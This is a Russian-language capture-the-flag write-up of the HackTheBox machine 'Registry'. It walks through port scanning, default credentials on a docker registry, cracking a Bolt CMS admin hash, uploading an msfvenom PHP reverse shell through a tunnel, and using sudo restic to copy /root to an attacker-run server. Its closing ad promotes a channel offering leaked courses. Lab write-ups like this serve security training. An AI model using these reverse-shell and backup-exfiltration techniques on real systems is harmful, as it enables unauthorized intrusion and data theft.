Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье повозимся с docker regisrty, эксплуатируем RCE в CMS Bolt, а повышаем привилегии с помощью программы для резервного копирования Restic.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.159, который я добавляю в /etc/hosts.
10.10.10.159 registry.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A registry.htb -p22,80,443
На хосте открыто 3 порта, при этом сертификат (443 порт) предназначен для docker.registry.htb. Добавим его тоже в /etc/hosts.
10.10.10.159 docker.registry.htb
При побращении к registry.htb нас встречает приглашение nginx, а к docker.registry.htb — пустая страница.
Давайте переберем директории с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).
gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Backup.php нам ничего не дает, в bolt расположен сайт с CMS Bolt, а в install лежит какой-то файл, скачаем его.
wget http://registry.htb/install/ -O ind
И узнаем, что это за файл.
Мы можем сразу прочитать “gzip compressed data”.
Таким образом получаем сертификат, и ссылки на справочную документацию по docker.
В случае с другим доменом, добавим параметр -k, чтобы пропустить проверку сертификата.
gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Перейдем теперь в директорию v2, и нас встречает аутентификация.
И самая простая комбинация admin:admin дает нам доступ. На хосте работает docker regisrty, поэтому, как следует из следующего пояснения, посмотрим его репозитории по следующему адресу: docker.registry.htb/v2/_catalog.
И мы находим один репозиторий.
Давайте установим docker и обратимся к документации по установке сертификата.
Перейдем в директорию /etc/docker и добавим сертификат из архива.
sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt
Теперь залогинимся в docker.
Теперь загрузим образ.
sudo docker pull docker.registry.htb:443/bolt-image:latest
И запустим.
sudo docker run -it docker.registry.htb:443/bolt-image:latest
И первым делом смотрим на SSH. Благо присутствует ключ, а также конфиг, из которого становится ясно, что наш пользователь — bolt.
Но вот дело в том, что ключ зашифрован. Это значит что при подключении у нас спросят пароль. Результат приносит поиск в файлах строки “pass”.
grep -i -r "pass" ./etc/
В данном скрипте спрашивается пароль для расшифровывания ключа. И в нем же дается ответ.
Подключимся по ssh с нашим ключом.
На хосте был файл backup.php, давайте глянем, что в нем.
Так используется sudo, и видимо без пароля. Но для bolt требуется пароль.
Это значит, что нам нужно получить пользователя службы. Так как используется CMS Bolt, мы можем получить доступ к sqlite базе данных. Скачаем ее.
scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./
Начнем работу с базой.
sqlite3 bolt.db
Посмотрим таблицы.
И получим записи из таблицы bolt_users.
Таким образом, мы имеем хеш админа. Переберем его с помощью JTR.
Теперь авторизуемся в Bolt как admin. И наблюдаем версию 3.6.4.
Для этой версии есть эксплоиты.
Уязвимость заключается в том, что мы можем добавить в конфиг нужное нам расширение файла для загрузки, а потом загрузить файл. Давайте сделаем php файл с нагрузкой (скажу наперед, что просто бэкконнект шел прокинуть не получается поэтому был проброшен 4321 порт: ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321
).
msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d 'n' > r.php && xclip -selection clipboard -o >> r.php
И запустим листенер.
Пройдем в Configuration -> Main Configuration и добавим расширение php для возможности загрузки файла.
Далее пройдем в File Management -> Upload files и добавим файл. После обращения к нему, увидим подключение.
Запустим bash оболочку, также наблюдаем, что мы работаем от имени пользователя службы.
Проверим sudo, наблюдаем, что команду из backup.php можно выполнять под sudo без пароля.
Restic — это написанная на Golang программа для резервного копирования. Так как мы можем сделать резервную копию под sudo, мы можем скопировать всю директорию root. Для начала прокинем 8000 порт.
ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000
Установим и запустим rest-server (на 8000 посту без аутентификации).
Давайте подключимся и инициализируем резервную копию (restr1).
А теперь создадим резервную копию директории root.
Резервная копия сохранена на локальной машине. Посмотрим все сохраненные файлы. Находим ключ SSH.
restic -r /tmp/restic/restr1/ ls latest
Восстановим его.
Подключимся.
У нас полный доступ в системе.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Автор: Ральф Фаилов